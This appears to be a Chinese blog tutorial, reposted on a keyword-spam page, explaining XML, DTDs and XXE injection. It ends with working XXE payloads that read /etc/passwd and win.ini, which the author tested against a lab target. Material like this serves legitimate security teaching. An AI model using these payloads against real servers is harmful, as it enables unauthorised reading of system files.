当前位置: 首页 > news >正文

办一个购物网站要多少钱上海外贸网站seo

办一个购物网站要多少钱,上海外贸网站seo,广州 网站建设模板,深圳建设手机网站目录 什么是 XML? 什么是DTD? 什么是XEE? 常见payload 什么是 XML? XML 指可扩展标记语言(EXtensible Markup Language); XML 不会做任何事情,而是用来结构化、存储以及传输信息…

目录

什么是 XML?

什么是DTD?

什么是XEE?

常见payload


什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language);

XML 不会做任何事情,而是用来结构化、存储以及传输信息;

XML 标签没有被预定义,需要我们自行定义标签。

XML总体由元素组成,元素可以额外附加属性,需要提前定义,元素中可以引用实体。

XML中的5个预定义实体引用:

&lt;	<
&gt;	>
&amp;	&
&quot;	"
&apos;	'

实体根据引用方式,分为内部实体与外部实体 。

实体可以理解为变量,必须先在DTD中定义声明,然后在文档中的其他位置引用该变量的值。

<square width="100" /> &a; </square>元素    属性         实体

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">

 一个 XML 文档实例:

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

第一行是 XML 声明,它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言);下一行描述文档的根元素(本文档是一个便签:<note>);接下来 4 行描述了根的 4 个子元素(to, from, heading 以及 body)。

什么是DTD?

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

 内部的 DOCTYPE 声明:假如 DTD 被包含在 XML 源文件中

<!DOCTYPE 根元素 [元素声明]>

外部文档声明:假如 DTD 位于 XML 源文件的外部

<!DOCTYPE 根元素 SYSTEM "文件名">

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

在DTD设置了一些变量,然后在XML文档中再使用到这些变量。 

什么是XEE?

XXE就是攻击者自定义了XML文件进行了执行,最终效果实现读取系统文件。

常见payload

测试代码

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe 'test' > ]> 
<foo>&xxe;</foo>

读取文件的payload

对于Windows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

对于Linux:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

UTF-8(可变长度编码)有时候也用ISO-8859-1(单字节固定长度编码)也可不指定编码

测试解析xml代码情况

回显test

因为我这里的靶场是使用Linux系统搭建的,因此尝试读取 /etc/passwd

读取成功

http://www.wangmingla.cn/news/33391.html

相关文章:

  • 湛江低价网站建设关键词难易度分析
  • 江苏嘉力电力建设有限公司网站百度账户托管运营
  • 网站建设-纵横网络推一手新闻发稿平台
  • dreamweaver网站建设文件夹规范广告有限公司
  • 自己的网站如何优化新东方培训机构官网
  • 实用的网站万网域名注册官网
  • 如何选择建设网站类型今天的新闻是什么
  • 做网站推广的方法厦门关键词优化平台
  • 北京品牌网站建设公司软文推广模板
  • magento跨境b2b网站建设纯手工seo公司
  • 西安php网站制作seo视频教程百度云
  • 免费建站哪家好seo在线网站推广
  • 求购做网站杭州上城区抖音seo有多好
  • 石家庄电商网站建设seo教程网站优化
  • wordpress可以做电影网站吗头条发布视频成功显示404
  • 模拟炒股网站开发手机优化软件排名
  • 在哪一个网站上做劳务合同备案竞价托管公司
  • app的制作需要多少钱长沙seo报价
  • 企业网站建设的成本老域名购买
  • 扬州哪家公司做网站比较好怎么自己做一个网址
  • 网站建设学习百度视频排名优化
  • 制作单位网站超级外链发布
  • 网站制作案例流程图下载班级优化大师并安装
  • 下列不属于网站开发技术的是长沙网站seo优化公司
  • 宿迁哪里有做网站开发的竞价账户托管哪家好
  • 常州城乡建设局网站济南疫情最新情况
  • 烟台高端网站建设公司网络营销的认识与理解
  • 长沙公司网站费用个人免费推广网站
  • Wordpress可以访问么专业seo外包
  • 做门户网站用什么网络营销企业有哪些